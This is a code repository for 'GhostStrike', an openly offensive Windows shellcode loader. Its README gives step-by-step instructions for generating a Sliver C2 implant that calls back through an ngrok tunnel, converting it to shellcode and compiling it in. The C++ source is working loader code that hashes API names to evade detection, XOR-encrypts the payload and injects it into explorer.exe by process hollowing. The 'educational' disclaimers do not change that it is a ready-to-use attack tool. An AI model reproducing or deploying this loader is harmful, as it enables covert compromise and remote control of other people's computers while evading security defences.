├── LICENSE ├── README.md └── GhostStrike.cpp /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 Stiven Mayorga 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GhostStrike ⚔️ 2 | 3 | **GhostStrike** is an advanced cybersecurity tool designed for Red Team operations, featuring sophisticated techniques to evade detection and perform process hollowing on Windows systems. 4 | 5 | --- 6 | 7 | ## ✨ Features 8 | 9 | 17 | 18 | --- 19 | 20 | ## ⚙️ Configuration 21 | 22 | You can configure GhostStrike with the following steps: 23 | 24 |
    25 |
  1. Create Ngrok Service: ngrok tcp 443
  2. 26 |
  3. Generate Sliver C2 Implant: generate --mtls x.tcp.ngrok.io --save YourFile.exe
  4. 27 |
  5. Create Listener: mtls --lhost 0.0.0.0 --lport 443
  6. 28 |
  7. Convert to .bin: ./donut -i /home/YourUser/YourFile.exe -a 2 -f 1 -o /home/YourUser/YourFile.bin
  8. 29 |
  9. Convert to C++ Shellcode: xxd -i YourFile.bin > YourFile.h
  10. 30 |
  11. Import YourFile.h to this code
  12. 31 |
  13. Compile and enjoy! 🚀
  14. 32 |
33 | 34 | --- 35 | 36 | ## 💻 Requirements 37 | 38 | - **C++ Compiler:** Any modern C++ compiler, such as `g++`, `clang++`, or Visual Studio, is sufficient to compile the code. 39 | 40 | No additional dependencies are needed to build **GhostStrike**. Simply compile the source code with your preferred C++ compiler, and you're ready to go! 41 | 42 | --- 43 | 44 | ## ⚠️ Disclaimer 45 | 46 |

This tool is intended solely for educational purposes and for use in controlled environments. Unauthorized use of GhostStrike outside of these settings is strictly prohibited. The author, @Stiven.Hacker, takes no responsibility for any misuse or damage caused by this code.

47 | 48 | --- 49 | 50 | ## 🎥 Demo 51 | 52 |

Check out a live demonstration of GhostStrike in action on LinkedIn:

53 | 54 | Watch Demo -------------------------------------------------------------------------------- /GhostStrike.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * DISCLAIMER: 3 | * This code was created solely for educational purposes and is intended for use in controlled environments only. 4 | * Unauthorized use of this code outside of these settings is strictly prohibited. 5 | * The author, Stiven Mayorga A.k.a @Stiven.Hacker, takes no responsibility for any misuse or damage caused by this code. 6 | */ 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include "Import Your Shellcode.h" // Include the file with the encoded shellcode 15 | 16 | // Computes the hash of a string using a custom algorithm. 17 | // This hash is later used to identify API functions by their hashed names. 18 | DWORD hash_function(const char* str) { 19 | DWORD hash = 0; 20 | while (*str) { 21 | hash = (hash >> 13) | (hash << 19); 22 | hash += *str++; 23 | } 24 | return hash; 25 | } 26 | 27 | // Base64 encoding map 28 | static const std::string base64_chars = 29 | "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 30 | "abcdefghijklmnopqrstuvwxyz" 31 | "0123456789+/"; 32 | 33 | // Encodes binary data into a Base64 string. 34 | // This function is used to encode the shellcode for evasion purposes. 35 | std::string base64_encode(const unsigned char* buf, size_t bufLen) { 36 | std::string ret; 37 | int val = 0; 38 | int valb = -6; 39 | for (size_t i = 0; i < bufLen; ++i) { 40 | val = (val << 8) + buf[i]; 41 | valb += 8; 42 | while (valb >= 0) { 43 | ret.push_back(base64_chars[(val >> valb) & 0x3F]); 44 | valb -= 6; 45 | } 46 | } 47 | if (valb > -6) ret.push_back(base64_chars[((val << 8) >> (valb + 8)) & 0x3F]); 48 | while (ret.size() % 4) ret.push_back('='); 49 | return ret; 50 | } 51 | 52 | // Decodes a Base64 string back into binary data. 53 | // This is necessary to decode the shellcode before executing it. 54 | std::vector base64_decode(const std::string& encoded_string) { 55 | std::vector ret; 56 | std::vector T(256, -1); 57 | for (int i = 0; i < 64; i++) T[base64_chars[i]] = i; 58 | 59 | int val = 0; 60 | int valb = -8; 61 | for (unsigned char c : encoded_string) { 62 | if (T[c] == -1) break; 63 | val = (val << 6) + T[c]; 64 | valb += 6; 65 | if (valb >= 0) { 66 | ret.push_back((val >> valb) & 0xFF); 67 | valb -= 8; 68 | } 69 | } 70 | return ret; 71 | } 72 | 73 | // Resolves a function's address dynamically by hashing the function's name. 74 | // This technique is used to avoid detection by traditional security mechanisms. 75 | FARPROC get_api_function(DWORD module_hash, DWORD function_hash) { 76 | HMODULE module = nullptr; 77 | const char* module_names[] = { "kernel32.dll", "advapi32.dll", "user32.dll", "gdi32.dll", NULL }; 78 | for (int i = 0; module_names[i] != NULL; ++i) { 79 | module = LoadLibraryA(module_names[i]); 80 | if (module && hash_function(module_names[i]) == module_hash) { 81 | break; 82 | } 83 | } 84 | if (module == NULL) { 85 | std::cerr << "Error loading the module.\n"; 86 | exit(EXIT_FAILURE); 87 | } 88 | 89 | PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)module; 90 | PIMAGE_NT_HEADERS nt_headers = (PIMAGE_NT_HEADERS)((BYTE*)module + dos_header->e_lfanew); 91 | PIMAGE_EXPORT_DIRECTORY export_dir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); 92 | DWORD* functions = (DWORD*)((BYTE*)module + export_dir->AddressOfFunctions); 93 | WORD* ordinals = (WORD*)((BYTE*)module + export_dir->AddressOfNameOrdinals); 94 | DWORD* names = (DWORD*)((BYTE*)module + export_dir->AddressOfNames); 95 | 96 | // Loop through the export table to find the function by its hash. 97 | for (DWORD i = 0; i < export_dir->NumberOfNames; ++i) { 98 | const char* func_name = (const char*)((BYTE*)module + names[i]); 99 | if (hash_function(func_name) == function_hash) { 100 | return (FARPROC)((BYTE*)module + functions[ordinals[i]]); 101 | } 102 | } 103 | 104 | std::cerr << "Error retrieving the function address.\n"; 105 | exit(EXIT_FAILURE); 106 | } 107 | 108 | // Generates a cryptographically secure key of the specified length. 109 | // This key will be used to encrypt and decrypt the shellcode. 110 | std::vector generate_key(SIZE_T length) { 111 | std::vector key(length); 112 | HCRYPTPROV hProv; 113 | auto CryptAcquireContextA = (decltype(&::CryptAcquireContextA))get_api_function(hash_function("advapi32.dll"), hash_function("CryptAcquireContextA")); 114 | auto CryptGenRandom = (decltype(&::CryptGenRandom))get_api_function(hash_function("advapi32.dll"), hash_function("CryptGenRandom")); 115 | auto CryptReleaseContext = (decltype(&::CryptReleaseContext))get_api_function(hash_function("advapi32.dll"), hash_function("CryptReleaseContext")); 116 | 117 | // Acquire a cryptographic context for generating random data. 118 | if (!CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) { 119 | std::cerr << "Error acquiring cryptographic context.\n"; 120 | exit(EXIT_FAILURE); 121 | } 122 | // Generate a random key. 123 | if (!CryptGenRandom(hProv, (DWORD)length, key.data())) { 124 | std::cerr << "Error generating cryptographic key.\n"; 125 | CryptReleaseContext(hProv, 0); 126 | exit(EXIT_FAILURE); 127 | } 128 | CryptReleaseContext(hProv, 0); 129 | return key; 130 | } 131 | 132 | // XOR encryption/decryption function. 133 | // The same function is used to both encrypt and decrypt the shellcode. 134 | void xor_encrypt_decrypt(unsigned char* data, SIZE_T data_len, const std::vector& key) { 135 | for (SIZE_T i = 0; i < data_len; ++i) { 136 | data[i] ^= key[i % key.size()]; 137 | } 138 | } 139 | 140 | // Implements control flow flattening to obfuscate the program's execution path. 141 | // This makes it harder for static analysis tools to understand the program's logic. 142 | void control_flow_flattening(bool& continue_execution, int& state) { 143 | while (continue_execution) { 144 | switch (state) { 145 | case 0: 146 | // Initialization state 147 | state = 1; 148 | break; 149 | 150 | case 1: 151 | // State to verify process hollowing 152 | state = 2; 153 | break; 154 | 155 | case 2: 156 | // State to verify additional conditions, e.g., data integrity 157 | state = 3; 158 | break; 159 | 160 | case 3: 161 | // Final state to stop execution 162 | continue_execution = false; 163 | break; 164 | 165 | default: 166 | // Handle unknown states 167 | continue_execution = false; 168 | break; 169 | } 170 | } 171 | } 172 | 173 | // Performs process hollowing by injecting shellcode into a legitimate process. 174 | // This function suspends the target process, replaces its memory with shellcode, and resumes it. 175 | bool process_hollowing(const char* target_path, unsigned char* shellcode, SIZE_T shellcode_size, const std::vector& key) { 176 | STARTUPINFOA si = { sizeof(si) }; 177 | PROCESS_INFORMATION pi; 178 | auto CreateProcessA = (decltype(&::CreateProcessA))get_api_function(hash_function("kernel32.dll"), hash_function("CreateProcessA")); 179 | auto GetThreadContext = (decltype(&::GetThreadContext))get_api_function(hash_function("kernel32.dll"), hash_function("GetThreadContext")); 180 | auto VirtualAllocEx = (decltype(&::VirtualAllocEx))get_api_function(hash_function("kernel32.dll"), hash_function("VirtualAllocEx")); 181 | auto WriteProcessMemory = (decltype(&::WriteProcessMemory))get_api_function(hash_function("kernel32.dll"), hash_function("WriteProcessMemory")); 182 | auto VirtualProtectEx = (decltype(&::VirtualProtectEx))get_api_function(hash_function("kernel32.dll"), hash_function("VirtualProtectEx")); 183 | auto SetThreadContext = (decltype(&::SetThreadContext))get_api_function(hash_function("kernel32.dll"), hash_function("SetThreadContext")); 184 | auto ResumeThread = (decltype(&::ResumeThread))get_api_function(hash_function("kernel32.dll"), hash_function("ResumeThread")); 185 | auto TerminateProcess = (decltype(&::TerminateProcess))get_api_function(hash_function("kernel32.dll"), hash_function("TerminateProcess")); 186 | auto CloseHandle = (decltype(&::CloseHandle))get_api_function(hash_function("kernel32.dll"), hash_function("CloseHandle")); 187 | 188 | // Create the target process in a suspended state. 189 | if (!CreateProcessA(target_path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { 190 | std::cerr << "Error creating target process.\n"; 191 | return false; 192 | } 193 | 194 | CONTEXT ctx; 195 | ctx.ContextFlags = CONTEXT_FULL; 196 | if (!GetThreadContext(pi.hThread, &ctx)) { 197 | std::cerr << "Error getting thread context.\n"; 198 | TerminateProcess(pi.hProcess, 1); 199 | CloseHandle(pi.hThread); 200 | CloseHandle(pi.hProcess); 201 | return false; 202 | } 203 | 204 | // Allocate memory in the target process for the shellcode. 205 | LPVOID pImageBase = VirtualAllocEx(pi.hProcess, NULL, shellcode_size, MEM_COMMIT | MEM_RESERVE, 206 | PAGE_EXECUTE_READWRITE); 207 | if (!pImageBase) { 208 | std::cerr << "Error allocating memory in target process.\n"; 209 | TerminateProcess(pi.hProcess, 1); 210 | CloseHandle(pi.hThread); 211 | CloseHandle(pi.hProcess); 212 | return false; 213 | } 214 | 215 | // Decrypt the shellcode before injecting it into the target process. 216 | xor_encrypt_decrypt(shellcode, shellcode_size, key); 217 | 218 | // Write the shellcode into the allocated memory in the target process. 219 | if (!WriteProcessMemory(pi.hProcess, pImageBase, shellcode, shellcode_size, NULL)) { 220 | std::cerr << "Error writing shellcode to target process memory.\n"; 221 | TerminateProcess(pi.hProcess, 1); 222 | CloseHandle(pi.hThread); 223 | CloseHandle(pi.hProcess); 224 | return false; 225 | } 226 | 227 | DWORD oldProtect; 228 | // Change memory protection to execute-only to avoid detection. 229 | if (!VirtualProtectEx(pi.hProcess, pImageBase, shellcode_size, PAGE_EXECUTE_READ, &oldProtect)) { 230 | std::cerr << "Error changing memory protection in target process.\n"; 231 | TerminateProcess(pi.hProcess, 1); 232 | CloseHandle(pi.hThread); 233 | CloseHandle(pi.hProcess); 234 | return false; 235 | } 236 | 237 | #ifdef _WIN64 238 | ctx.Rcx = reinterpret_cast(pImageBase); 239 | #else 240 | ctx.Eax = reinterpret_cast(pImageBase); 241 | #endif 242 | 243 | // Set the modified context (pointing to the shellcode) back to the thread. 244 | if (!SetThreadContext(pi.hThread, &ctx)) { 245 | std::cerr << "Error setting thread context.\n"; 246 | TerminateProcess(pi.hProcess, 1); 247 | CloseHandle(pi.hThread); 248 | CloseHandle(pi.hProcess); 249 | return false; 250 | } 251 | 252 | // Resume the thread, allowing the process to continue execution with the injected shellcode. 253 | if (ResumeThread(pi.hThread) == -1) { 254 | std::cerr << "Error resuming target process.\n"; 255 | TerminateProcess(pi.hProcess, 1); 256 | CloseHandle(pi.hThread); 257 | CloseHandle(pi.hProcess); 258 | return false; 259 | } 260 | 261 | CloseHandle(pi.hThread); 262 | CloseHandle(pi.hProcess); 263 | return true; 264 | } 265 | 266 | int main() { 267 | const char* target_path = "C:\\Windows\\explorer.exe"; 268 | 269 | // Encode the shellcode in Base64 270 | std::string shellcode_base64 = base64_encode(DesarrolloMagico_bin, DesarrolloMagico_bin_len); //Shellcode Name Bin and Len DesarrolloMagico_bin, DesarrolloMagico_bin_len replace with yours 271 | 272 | // Decode the shellcode from Base64 273 | std::vector decoded_shellcode = base64_decode(shellcode_base64); 274 | 275 | // Generate a cryptographically secure encryption key based on the length of the decoded shellcode 276 | std::vector key = generate_key(decoded_shellcode.size()); 277 | xor_encrypt_decrypt(decoded_shellcode.data(), decoded_shellcode.size(), key); 278 | 279 | // Implement control flow flattening in the main function 280 | bool continue_execution = true; 281 | int state = 0; 282 | control_flow_flattening(continue_execution, state); 283 | 284 | if (state == 3 && process_hollowing(target_path, decoded_shellcode.data(), decoded_shellcode.size(), key)) { 285 | std::cout << "Process hollowing successful.\n"; 286 | } 287 | else { 288 | std::cerr << "Process hollowing failed.\n"; 289 | } 290 | 291 | auto SecureZeroMemory = (decltype(&::SecureZeroMemory))get_api_function(hash_function("kernel32.dll"), hash_function("SecureZeroMemory")); 292 | SecureZeroMemory(decoded_shellcode.data(), decoded_shellcode.size()); 293 | 294 | return 0; 295 | } --------------------------------------------------------------------------------